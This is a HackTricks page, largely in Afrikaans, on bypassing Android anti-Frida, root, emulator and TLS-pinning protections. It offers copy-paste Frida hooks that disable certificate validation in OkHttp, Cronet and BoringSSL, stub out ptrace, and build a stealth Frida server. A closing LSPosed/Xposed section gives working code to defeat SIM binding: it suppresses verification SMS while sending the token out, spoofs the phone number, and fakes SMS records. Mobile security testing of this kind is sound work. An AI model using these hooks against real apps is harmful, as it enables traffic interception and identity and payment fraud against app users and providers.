Android Anti-Instrumentation & SSL Pinning Bypass (Frida/Objection)
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Blaai deur die volledige HackTricks Training-katalogus vir die assesseringsroetes (ARTA/GRTA/AzRTA) en Linux Hacking Expert (LHE).
Ondersteun HackTricks
- Kyk na die intekenplanne!
- Sluit aan by die 💬 Discord-groep, die telegram-groep, volg @hacktricks_live op X/Twitter, of kyk na die LinkedIn-bladsy en YouTube-kanaal.
- Deel hacking tricks deur PRs in te stuur na die HackTricks en HackTricks Cloud github repos.
This bladsy verskaf ’n praktiese workflow om dinamiese analise te hervat teen Android-apps wat instrumentation opspoor/root‑blokkeer of TLS pinning afdwing. Dit fokus op vinnige triage, algemene detections, en copy‑pasteable hooks/tactics om dit te omseil sonder herverpakking waar moontlik.
Detection Surface (what apps check)
- Root checks: su binary, Magisk paths, getprop values, common root packages
- Frida/debugger checks (Java): Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), scanning /proc, classpath, loaded libs
- Native anti‑debug: ptrace(), syscalls, anti‑attach, breakpoints, inline hooks
- Early init checks: Application.onCreate() or process start hooks that crash if instrumentation is present
- TLS pinning: custom TrustManager/HostnameVerifier, OkHttp CertificatePinner, Conscrypt pinning, native pins
Bypassing Anti-Frida Detection / Stealth Frida Servers
phantom-frida bou Frida vanaf die bron oor en pas ongeveer 90 pleisters toe sodat algemene Frida fingerprints verdwyn terwyl die stock Frida protocol steeds versoenbaar bly (frida-tools kan steeds koppel). Teiken: apps wat grep op /proc (cmdline, maps, task comm, fd readlink), D-Bus service names, default ports, of exported symbols.
Phases:
- Source patches: globale hernoeming van
fridaidentifiers (server/agent/helper) en ’n herboude helper DEX met ’n hernoemde Java package. - Targeted build/runtime patches: meson tweaks, memfd label verander na
jit-cache, SELinux labels (bv.frida_file) hernoem, libc hooks opexit/signalgedeaktiveer om hook-detectors te vermy. - Post-build rename: exported symbol
frida_agent_mainhernoem na die eerste compileer (Vala emiteer dit), wat ’n tweede inkrementele build vereis. - Binary hex patches: thread names (
gmain,gdbus,pool-spawner) vervang; opsionele sweep verwyder oorblywendefrida/Fridastrings.
Detection vectors covered:
- Base (1–8): process name
frida-server, mappedlibfrida-agent.so, thread names, memfd label, exportedfrida_agent_main, SELinux labels, libc hook side-effects, en D-Bus servicere.frida.serverword hernoem/geen-effek gemaak. - Extended (9–16): verander listening port (
--port), hernoem D-Bus interfaces/internal C symbols/GType names, temp paths soos.frida/frida-, sweep binary strings, hernoem build-time defines en asset paths (libdir/frida). D-Bus interface names wat deel is van die wire protocol bly onveranderd in base mode om stock clients nie te breek nie.
Build/usage (Android arm64 voorbeeld):
python3 build.py --version 17.7.2 --name myserver --port 27142 --extended --verify
adb push output/myserver-server-17.7.2-android-arm64 /data/local/tmp/myserver-server
adb shell chmod 755 /data/local/tmp/myserver-server
adb shell /data/local/tmp/myserver-server -D &
adb forward tcp:27142 tcp:27142
frida -H 127.0.0.1:27142 -f com.example.app
Flags: --skip-build (patch only), --skip-clone, --arch, --ndk-path, --temp-fixes; WSL helper: wsl -d Ubuntu bash build-wsl.sh.
Stap 1 — Vinnige wen: verberg root met Magisk DenyList
- Aktiveer Zygisk in Magisk
- Aktiveer DenyList, voeg die teiken‑pakket by
- Herbegin en toets weer
Baie apps kyk net na voor die hand liggende aanduiders (su/Magisk paths/getprop). DenyList neutraliseer dikwels naïewe kontroles.
References:
- Magisk (Zygisk & DenyList): https://github.com/topjohnwu/Magisk
Play Integrity / Zygisk detecties (post‑SafetyNet)
Nuwer bank-/ID-apps koppel runtime‑kontroles aan Google Play Integrity (SafetyNet‑vervanger) en kan ook crash as Zygisk self teenwoordig is. Vinnige triage‑wenke:
- Skakel Zygisk tydelik uit (afskakel + herbegin) en probeer weer; sommige apps crash sodra Zygote‑injeksie laai.
- As attestation die aanmelding blokkeer, patch Google Play Services met PlayIntegrityFix/Fork + TrickyStore of gebruik ReZygisk/Zygisk‑Next slegs tydens toetsing. Hou die teiken in DenyList en vermy LSPosed‑modules wat props leak.
- Vir eenmalige draaie, gebruik KernelSU/APatch (geen Zygote‑injeksie) om onder Zygisk‑heuristieke te bly, en heg dan Frida aan.
Stap 2 — 30‑sekonde Frida Codeshare‑toetse
Probeer algemene drop‑in‑skripte voor jy diep delf:
- anti-root-bypass.js
- anti-frida-detection.js
- hide_frida_gum.js
Example:
frida -U -f com.example.app -l anti-frida-detection.js
Hierdie stubs maak gewoonlik Java root/debug-kontroles, proses-/diens-skanderings en native ptrace() onskadelik. Nuttig op lig beskermde apps; geharde teikens mag aangepaste hooks benodig.
- Codeshare: https://codeshare.frida.re/
Automatiseer met Medusa (Frida framework)
Medusa bied 90+ kant-en-klare modules vir SSL unpinning, root/emulator detection bypass, HTTP comms logging, crypto key interception, en meer.
git clone https://github.com/Ch0pin/medusa
cd medusa
pip install -r requirements.txt
python medusa.py
# Example interactive workflow
show categories
use http_communications/multiple_unpinner
use root_detection/universal_root_detection_bypass
run com.target.app
Wenk: Medusa is uitstekend vir vinnige oorwinnings voordat jy aangepaste hooks skryf. Jy kan ook modules cherry-pick en dit kombineer met jou eie scripts.
Outomatiseer met Auto-Frida (spawn-mode + consolidated hooks)
Auto-Frida is a Frida automation toolkit wat fokus op herhaalbare opstelling plus outo-opsporing van beskerming en consolidated bypass script generation. Dit is nuttig wanneer apps baie vroeg kontrole uitvoer of wanneer meervoudige bypass modules andersins dieselfde APIs dubbel-hook.
Belangrike outomatiseringsidees:
- Spawn-mode analysis om hooks te installeer voor
Application.onCreate()sodat vroeë SSL pinning, root-, emulator- of anti-Frida-kontroles opgespoor word. - Protection detection + auto-bypass: detectie-resultate dryf die generering van ’n enkele geconsolideerde script wat elke Java metode/native symbol een keer hook, wat app-ongelukke deur oorvleuelende hooks verminder.
- Frida server lifecycle checks: valideer servergesondheid (process + port
27042+frida-pshandshake) voor aflaai/herbegin om runs stabiel te hou.
Vinnige begin:
git clone https://github.com/ommirkute/Auto-Frida.git
cd Auto-Frida
pip install -r requirements.txt
python auto_frida.py
Aantekeninge
- Auto-Frida kan outomaties
frida/frida-toolsinstalleer indien dit ontbreek en ondersteun keuse van meerdere toestelle. - Gegenereerde skripte kan onmiddellik uitgevoer word of ná analise met jou pasgemaakte hooks saamgevoeg word.
Stap 3 — Bypass init‑tyd detektore deur later aan te heg
Baie detektore werk slegs tydens process spawn/onCreate(). Spawn‑time injection (-f) of gadgets word gevang; aanheg ná die UI laai kan daardeur glip.
# Launch the app normally (launcher/adb), wait for UI, then attach
frida -U -n com.example.app
# Or with Objection to attach to running process
aobjection --gadget com.example.app explore # if using gadget
As dit werk, hou die sessie stabiel en gaan voort na map- en stubkontroles.
Stap 4 — Karteer opsporingslogika via Jadx en string-soektog
Statiese triage-sleutelwoorde in Jadx:
- “frida”, “gum”, “root”, “magisk”, “ptrace”, “su”, “getprop”, “debugger”
Tipiese Java-patrone:
public boolean isFridaDetected() {
return getRunningServices().contains("frida");
}
Algemene APIs om te kontroleer/te hook:
- android.os.Debug.isDebuggerConnected
- android.app.ActivityManager.getRunningAppProcesses / getRunningServices
- java.lang.System.loadLibrary / System.load (native bridge)
- java.lang.Runtime.exec / ProcessBuilder (probing commands)
- android.os.SystemProperties.get (root/emulator heuristics)
Stap 5 — Runtime stubbing met Frida (Java)
Oorskryf aangepaste guards om veilige waardes terug te gee sonder om te herpak:
Java.perform(() => {
const Checks = Java.use('com.example.security.Checks');
Checks.isFridaDetected.implementation = function () { return false; };
// Neutralize debugger checks
const Debug = Java.use('android.os.Debug');
Debug.isDebuggerConnected.implementation = function () { return false; };
// Example: kill ActivityManager scans
const AM = Java.use('android.app.ActivityManager');
AM.getRunningAppProcesses.implementation = function () { return java.util.Collections.emptyList(); };
});
Besig met triage van vroeë crashes? Dump classes net voordat dit sterf om waarskynlike detection namespaces op te spoor:
Java.perform(() => {
Java.enumerateLoadedClasses({
onMatch: n => console.log(n),
onComplete: () => console.log('Done')
});
});
Vinnige root detection stub voorbeeld (pas aan by target package/class names):
Java.perform(() => {
try {
const RootChecker = Java.use('com.target.security.RootCheck');
RootChecker.isDeviceRooted.implementation = function () { return false; };
} catch (e) {}
});
Log en neutraliseer verdagte metodes om die uitvoeringstroom te bevestig:
Java.perform(() => {
const Det = Java.use('com.example.security.DetectionManager');
Det.checkFrida.implementation = function () {
console.log('checkFrida() called');
return false;
};
});
Bypass emulator/VM detection (Java stubs)
Algemene heuristieke: Build.FINGERPRINT/MODEL/MANUFACTURER/HARDWARE wat generic/goldfish/ranchu/sdk bevat; QEMU artifacts soos /dev/qemu_pipe, /dev/socket/qemud; standaard MAC 02:00:00:00:00:00; 10.0.2.x NAT; ontbrekende telefonie/sensore.
Vinnige spoof van Build-velde:
Java.perform(function(){
var Build = Java.use('android.os.Build');
Build.MODEL.value = 'Pixel 7 Pro';
Build.MANUFACTURER.value = 'Google';
Build.BRAND.value = 'google';
Build.FINGERPRINT.value = 'google/panther/panther:14/UP1A.231105.003/1234567:user/release-keys';
});
Voeg stubs by vir kontroles van lêer-bestaan en identifiseerders (TelephonyManager.getDeviceId/SubscriberId, WifiInfo.getMacAddress, SensorManager.getSensorList) om realistiese waardes terug te gee.
SSL pinning bypass quick hook (Java)
Neutraliseer aangepaste TrustManagers en dwing permissiewe SSL contexts af:
Java.perform(function(){
var X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
var SSLContext = Java.use('javax.net.ssl.SSLContext');
// No-op validations
X509TrustManager.checkClientTrusted.implementation = function(){ };
X509TrustManager.checkServerTrusted.implementation = function(){ };
// Force permissive TrustManagers
var TrustManagers = [ X509TrustManager.$new() ];
var SSLContextInit = SSLContext.init.overload('[Ljavax.net.ssl.KeyManager;','[Ljavax.net.ssl.TrustManager;','java.security.SecureRandom');
SSLContextInit.implementation = function(km, tm, sr){
return SSLContextInit.call(this, km, TrustManagers, sr);
};
});
Aantekeninge
- Breid uit vir OkHttp: hook okhttp3.CertificatePinner en HostnameVerifier soos nodig, of gebruik ’n universele unpinning script vanaf CodeShare.
- Voorbeeld om uit te voer:
frida -U -f com.target.app -l ssl-bypass.js --no-pause
OkHttp4 / gRPC / Cronet pinning (2024+)
Moderne stacks pin binne nuwer APIs (OkHttp4+, gRPC oor Cronet/BoringSSL). Voeg hierdie hooks by wanneer die basiese SSLContext hook vasloop:
Java.perform(() => {
try {
const Pinner = Java.use('okhttp3.CertificatePinner');
Pinner.check.overload('java.lang.String', 'java.util.List').implementation = function(){};
Pinner.check$okhttp.implementation = function(){};
} catch (e) {}
try {
const CronetB = Java.use('org.chromium.net.CronetEngine$Builder');
CronetB.enablePublicKeyPinningBypassForLocalTrustAnchors.overload('boolean').implementation = function(){ return this; };
CronetB.setPublicKeyPins.overload('java.lang.String', 'java.util.Set', 'boolean').implementation = function(){ return this; };
} catch (e) {}
});
As TLS steeds misluk, skakel oor na native en patcheer die BoringSSL-verifikasie-toegangspunte wat deur Cronet/gRPC gebruik word:
const customVerify = Module.findExportByName(null, 'SSL_CTX_set_custom_verify');
if (customVerify) {
Interceptor.attach(customVerify, {
onEnter(args){
// arg0 = SSL_CTX*, arg1 = mode, arg2 = callback
args[1] = ptr(0); // SSL_VERIFY_NONE
args[2] = NULL; // disable callback
}
});
}
Stap 6 — Volg die JNI/native spoor wanneer Java hooks faal
Spoor JNI ingangspunte op om native loaders en detection init te lokaliseer:
frida-trace -n com.example.app -i "JNI_OnLoad"
Vinnige inheemse triage van ingeslote .so-lêers:
# List exported symbols & JNI
nm -D libfoo.so | head
objdump -T libfoo.so | grep Java_
strings -n 6 libfoo.so | egrep -i 'frida|ptrace|gum|magisk|su|root'
Interaktiewe/native reversing:
- Ghidra: https://ghidra-sre.org/
- r2frida: https://github.com/nowsecure/r2frida
Voorbeeld: neutraliseer ptrace om eenvoudige anti‑debug in libc te omseil:
const ptrace = Module.findExportByName(null, 'ptrace');
if (ptrace) {
Interceptor.replace(ptrace, new NativeCallback(function () {
return -1; // pretend failure
}, 'int', ['int', 'int', 'pointer', 'pointer']));
}
Sien ook: Reversing Native Libraries
Stap 7 — Objection patching (embed gadget / strip basics)
As jy repacking bo runtime hooks verkies, probeer:
objection patchapk --source app.apk
Aantekeninge:
- Vereis apktool; maak seker van ’n huidige weergawe volgens die amptelike gids om bouprobleme te vermy: https://apktool.org/docs/install
- Gadget injection maak instrumentation sonder root moontlik, maar kan steeds deur sterker init‑time checks opgespoor word.
Opsioneel, voeg LSPosed modules en Shamiko by vir sterker root hiding in Zygisk-omgewings, en stel DenyList saam om onderprosesse te dek.
Vir ’n volledige workflow, insluitend script-mode Gadget configuration en bundling van jou Frida 17+ agent in die APK, sien:
Frida Tutorial — Self-contained agent + Gadget embedding
Verwysings:
- Objection: https://github.com/sensepost/objection
Stap 8 — Fallback: Patch TLS pinning for network visibility
As instrumentation geblokkeer is, kan jy steeds verkeer inspekteer deur pinning staties te verwyder:
apk-mitm app.apk
# Then install the patched APK and proxy via Burp/mitmproxy
- Gereedskap: https://github.com/shroudedcode/apk-mitm
- Vir netwerkkonfigurasie CA‑vertrouens‑truuks (en Android 7+ user CA trust), sien:
Make APK Accept CA Certificate
LSPosed/Xposed Hooking Abuse (Telephony/SMS)
Op gerootte toestelle kan LSPosed/Xposed-modules Java telephony/SMS APIs hook by runtime, die APK onveranderd op die skyf hou en terselfdertyd volle beheer oor wat die app sien uitoefen. Dit word gereeld misbruik om SIM‑binding flows te omseil wat plaaslike telephony APIs of die plaaslike SMS-provider se toestand vertrou.
Belangrike primitiewe
- Onderdruk uitgaande verifikasie-SMS terwyl jy die token eksfiltreer deur
SmsManager.sendTextMessageinbeforeHookedMethodkort te sluit. - Spoof MSISDN/line number deur
TelephonyManager.getLine1Number()enSubscriptionInfo.getNumber()te dwing om ’n aanvaller-beheerde waarde terug te gee. - Plant ’n vals “Sent” rekord in die SMS-provider sodat apps wat plaaslike SMS-geskiedenis nagaan ’n suksesvolle stuur sien, selfs al het die carrier dit nooit ontvang nie.
Voorbeeld: blokkeer SMS-versending en vang inhoud op
XposedHelpers.findAndHookMethod(
"android.telephony.SmsManager",
lpparam.classLoader,
"sendTextMessage",
String.class, String.class, String.class, PendingIntent.class, PendingIntent.class,
new XC_MethodHook() {
protected void beforeHookedMethod(MethodHookParam param) {
String body = (String) param.args[2];
// exfiltrate body to operator channel
param.setResult(null); // suppress real SMS send
}
}
);
Voorbeeld: spoof toestel telefoonnommer
XposedHelpers.findAndHookMethod(
"android.telephony.TelephonyManager",
lpparam.classLoader,
"getLine1Number",
new XC_MethodHook() {
protected void afterHookedMethod(MethodHookParam param) {
param.setResult(spoofedMsisdn);
}
}
);
XposedHelpers.findAndHookMethod(
"android.telephony.SubscriptionInfo",
lpparam.classLoader,
"getNumber",
new XC_MethodHook() {
protected void afterHookedMethod(MethodHookParam param) {
param.setResult(spoofedMsisdn);
}
}
);
Voorbeeld: inject ’n vals “Sent” SMS-rekord
ContentValues v = new ContentValues();
v.put("address", dest);
v.put("body", body);
v.put("type", 2); // sent
v.put("status", 0); // success
context.getContentResolver().insert(Uri.parse("content://sms/sent"), v);
Handige opdrag-kortlys
# List processes and attach
frida-ps -Uai
frida -U -n com.example.app
# Spawn with a script (may trigger detectors)
frida -U -f com.example.app -l anti-frida-detection.js
# Trace native init
frida-trace -n com.example.app -i "JNI_OnLoad"
# Objection runtime
objection --gadget com.example.app explore
# Static TLS pinning removal
apk-mitm app.apk
Universele proxy forcing + TLS unpinning (HTTP Toolkit Frida hooks)
Moderne apps ignoreer dikwels stelselproxies en dwing meervoudige lae van pinning af (Java + native), wat die vaslegging van verkeer pynlik maak selfs met gebruikers-/stelsel-CA’s geïnstalleer. ’n Praktiese benadering is om universele TLS unpinning te kombineer met proxy forcing via kant-en-klare Frida hooks, en alles deur mitmproxy/Burp te lei.
Workflow
- Start mitmproxy op jou host (of Burp). Verseker dat die toestel die host IP/poort kan bereik.
- Laai HTTP Toolkit se gekonsolideerde Frida hooks in om beide TLS unpinning en proxy forcing oor algemene stacks te bewerkstellig (OkHttp/OkHttp3, HttpsURLConnection, Conscrypt, WebView, ens.). Dit omseil CertificatePinner/TrustManager-kontroles en oorskryf proxy selectors, sodat verkeer altyd via jou proxy gestuur word, selfs as die app proxies eksplisiet uitskakel.
- Begin die teiken-app met Frida en die hook-script, en vang versoeke in mitmproxy.
Example
# Device connected via ADB or over network (-U)
# See the repo for the exact script names & options
frida -U -f com.vendor.app \
-l ./android-unpinning-with-proxy.js \
--no-pause
# mitmproxy listening locally
mitmproxy -p 8080
Aantekeninge
- Kombineer dit met ’n stelselwye proxy via
adb shell settings put global http_proxy <host>:<port>waar moontlik. Die Frida hooks sal proxygebruik afdwing selfs wanneer apps globale instellings omseil. - Hierdie tegniek is ideaal wanneer jy ’n MITM nodig het vir mobile-na-IoT aanmeldvloei waar pinning/proxy-omseiling algemeen is.
- Hooks: https://github.com/httptoolkit/frida-interception-and-unpinning
Verwysings
- Reversing Android Apps: Bypassing Detection Like a Pro
- Frida Codeshare
- Objection
- apk-mitm
- Jadx
- Ghidra
- r2frida
- Apktool install guide
- Magisk
- Medusa (Android Frida framework)
- Auto-Frida (Android Frida automation toolkit)
- Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa
- phantom-frida (stealth Frida server builder)
- Frida OkHttp4 SSL pinning bypass script
- XDA guide to strong Play Integrity bypass (2025)
- Weaponizing LSPosed: Remote SMS Injection and Identity Spoofing in Modern Payment Ecosystems
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Blaai deur die volledige HackTricks Training-katalogus vir die assesseringsroetes (ARTA/GRTA/AzRTA) en Linux Hacking Expert (LHE).
Ondersteun HackTricks
- Kyk na die intekenplanne!
- Sluit aan by die 💬 Discord-groep, die telegram-groep, volg @hacktricks_live op X/Twitter, of kyk na die LinkedIn-bladsy en YouTube-kanaal.
- Deel hacking tricks deur PRs in te stuur na die HackTricks en HackTricks Cloud github repos.


